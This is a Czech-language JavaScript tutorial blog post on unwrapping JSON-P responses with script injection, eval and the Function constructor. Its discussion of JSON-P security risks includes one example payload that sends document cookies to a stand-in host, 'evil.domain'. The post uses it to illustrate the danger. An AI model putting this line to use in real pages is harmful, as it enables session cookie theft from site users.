Toto je rychlý jednoduchý příspěvek o technikách JavaScriptu. Podíváme se na to, jak rozbalit výplň volání funkce „P“ z řetězce JSON-P, abychom z něj získali JSON.
Poznámka: Je zřejmé, že nedávný tlak na všudypřítomnost CORS v dnešní době činí JSON-P méně důležitým. Ale stále existuje spousta rozhraní API pro obsluhu JSON-P a zůstává důležitou součástí vytváření požadavků Ajax mezi doménami.
Scénář:obdržíte (jakýmikoli prostředky:Ajax, cokoliv) řetězec JSON-P (jako foo({"id":42})
) data, řekněme z nějakého volání API, a chcete extrahovat data JSON pro použití ve vaší aplikaci.
Klasické zpracování JSON-P
Nejběžnějším přístupem je přímé načtení dat JSON-P do externího <script>
element (za předpokladu, že je možné získat tato data přímo přes URL):
var s = document.createElement( "script" ); s.src = "http://some.api.url/?callback=foo&data=whatever"; document.head.appendChild( s );
Za předpokladu foo({"id":42})
se vrátí z takového volání URL a existuje globální foo(..)
funkce, která má být volána, samozřejmě obdrží {"id":42}
Datový paket JSON.
Existují stovky různých knihoven/rámců JS, které takové zpracování JSON-P automatizují. Napsal jsem jXHR před lety jako jednoduchý PoC, že bychom mohli dokonce vytvořit rozhraní podobné XHR pro volání JSON-P, které vypadalo takto:
var x = new jXHR(); x.onreadystatechange = function(data) { if (x.readyState == 4) { console.log( data.id ); // 42 } }; x.open( "GET", "http://some.api.url/?callback=?&data=whatever" ); x.send();
Problémy JSON-P
Existují určité problémy s klasickým přístupem ke zpracování JSON-P.
Prvním nejkřiklavějším problémem je, že musíte mít globální foo(..)
funkce deklarována. Někteří lidé (a některá rozhraní API JSON-P) umožňují něco jako bar.foo(..)
jako zpětné volání, ale to není vždy povoleno, a dokonce ani bar
je globální proměnná (jmenný prostor). Jak se JS a web posouvají směrem k funkcím ES6, jako jsou moduly, a silně odstraňují důraz na globální proměnné/funkce, myšlenka nutnosti vyvěšovat globální proměnnou/funkci, aby zachytila příchozí datová volání JSON-P, se stává velmi neatraktivní.
FWIW, jXHR automaticky generuje jedinečné názvy funkcí (jako jXHR.cb123(..)
) za účelem předání volání JSON-P API, aby váš kód nemusel zpracovávat tyto podrobnosti. Protože již existuje jXHR
jmenný prostor, je o něco přijatelnější, že jXHR pohřbívá své funkce v tomto jmenném prostoru.
Bylo by však hezké, kdyby existoval čistší způsob (knihovna sans), jak zvládnout JSON-P bez takových globálních proměnných/funkcí. Více o tom za chvíli.
Dalším problémem je, že pokud budete provádět mnoho volání JSON-P API, budete neustále vytvářet a přidávat DOM nové <script>
prvků, což rychle zaplní DOM.
Samozřejmě, že většina nástrojů JSON-P (včetně jXHR) po sobě "uklidí" odstraněním <script>
prvek z DOM, jakmile se spustí. Ale to není úplně čistá odpověď na problém, protože to bude vytvářet a zahazovat spoustu prvků DOM a operace DOM jsou vždy nejpomalejší a mají spoustu paměti.
A konečně, dlouho existovaly obavy ohledně bezpečnosti/důvěryhodnosti JSON-P. Vzhledem k tomu, že JSON-P je v podstatě jen náhodný JS, mohl by být vložen jakýkoli škodlivý kód JS.
Pokud například volání JSON-P API vrátilo:
foo({"id":42});(new Image()).src="http://evil.domain/?hijacking="+document.cookies;
Jak vidíte, tato další užitečná zátěž JS není něco, co bychom obecně měli chtít povolit.
Cílem json-p.org bylo definovat bezpečnější podmnožinu JSON-P a také nástroje, které vám umožnily ověřit (v rámci možností), že je váš paket JSON-P „bezpečný“ pro spuštění.
U této vrácené hodnoty však nemůžete provádět žádná taková ověření, pokud ji necháváte načítat přímo do <script>
prvek.
Pojďme se tedy podívat na některé alternativy.
Vložení skriptu
Za prvé, pokud máte obsah JSON-P načtený jako string
hodnotu (například prostřednictvím volání Ajax, například z proxy serveru Ajax na straně serveru stejné domény atd.), můžete hodnotu zpracovat před jejím vyhodnocením:
var jsonp = ".."; // first, do some parsing, regex filtering, or other sorts of // whitelist checks against the `jsonp` value to see if it's // "safe" // now, run it: var s = document.createElement( "script" ); s.text = jsonp; document.head.appendChild( s );
Zde používáme "vložení skriptu" ke spuštění kódu JSON-P (poté, co jsme měli možnost jej zkontrolovat jakýmkoli způsobem), a to nastavením jako text
z injekčně <script>
prvek (na rozdíl od nastavení adresy URL rozhraní API na src
jako výše).
Samozřejmě to má stále stinné stránky v tom, že ke zpracování volání funkce JSON-P jsou potřeba globální proměnné/funkce, a stále to přechází přes extra <script>
prvky s režií, která přináší.
Dalším problémem je, že <script>
-založené hodnocení nemá žádné elegantní zpracování chyb, protože nemáte příležitost použít try..catch
například kolem něj (pokud ovšem nezměníte samotnou hodnotu JSON-P!).
Další nevýhodou spoléhání se na <script>
elementem je, že to funguje pouze v prohlížečích . Pokud máte kód, který se musí spouštět mimo prohlížeč, například v node.js (například když kód vašeho uzlu spotřebovává nějaké jiné rozhraní API JSON-P), nebudete moci použít <script>
zvládnout to.
Jaké jsou tedy naše další možnosti?
Přímé hodnocení
Možná se divíte:proč nemůžeme jednoduše udělat eval(jsonp)
vyhodnotit kód JSON-P? Samozřejmě můžeme, ale má to spoustu nevýhod.
Hlavní citované obavy proti eval(..)
jsou obvykle spuštěním nedůvěryhodného kódu , ale tyto obavy jsou zde diskutabilní, protože již řešíme JSON-P
mohl být zlomyslný a už zvažujeme příležitost hodnotu nějakým způsobem zkontrolovat/filtrovat, pokud je to možné.
Skutečný důvod, proč nechcete používat eval(..)
je JS jeden. Z různých důvodů pouhá přítomnost eval(..)
ve vašem kódu zakáže různé optimalizace lexikálního rozsahu, které by normálně zrychlily váš kód. Tedy jinými slovy eval(..)
zpomalí váš kód . Nikdy, nikdy byste neměli používat eval(..)
. Období.
Ale je tu další možnost bez takových nevýhod. Můžeme použít Function(..)
konstruktér. Nejen, že umožňuje přímé vyhodnocení bez <script>
(takže to bude fungovat v node.js), ale také simultánně řeší celou tu nepříjemnost s globální proměnnou/funkcí!
Zde je návod, jak to udělat:
var jsonp = ".."; // parse/filter `jsonp`'s value if necessary // wrap the JSON-P in a dynamically-defined function var f = new Function( "foo", jsonp ); // `f` is now basically: // function f(foo) { // foo({"id":42}); // } // now, provide a non-global `foo()` to extract the JSON f( function(json){ console.log( json.id ); // 42 } )
Takže new Function( "foo", "foo({\"id\":42})" )
konstrukce function(foo){ foo({"id":42}) }
, kterému říkáme f
.
Vidíš, co se tam děje? JSON-P volá foo(..)
, ale foo(..)
už ani nemusí existovat globálně. Vložíme lokální (neglobální) funkci názvu parametru foo
voláním f( function(json){ .. } )
a když běží JSON-P, není to o nic moudřejší!
Takže:
- Máme ruční vyhodnocení JSON-P, což nám dává možnost nejprve zkontrolovat hodnotu před manipulace.
- Ke zpracování volání funkce JSON-P již nepotřebujeme globální proměnné/funkce.
Function(..)
konstrukce nemá stejné zpomalení výkonu jakoeval(..)
(protože nemůže vytvářet vedlejší účinky rozsahu!).- Tento přístup funguje buď v prohlížeči, nebo v node.js, protože se nespoléhá na
<script>
. - Máme lepší schopnost zpracování chyb, protože můžeme zabalit
try..catch
kolemf(..)
volání, zatímco s<script>
to samé udělat nemůžete -založené hodnocení.
To je docela velká sada výher nad <script>
!
Přehled
je Function(..)
hodnocení perfektní? Samozřejmě že ne. Ale je to mnohem lepší a schopnější než klasický, běžný přístup JSON-P.
Pokud tedy stále používáte volání JSON-P API a je pravděpodobné, že mnoho z vás ano, možná budete chtít přehodnotit, jak je spotřebováváte. V mnoha případech starý <script>
přístup zdaleka nedosahuje skutečného potenciálu.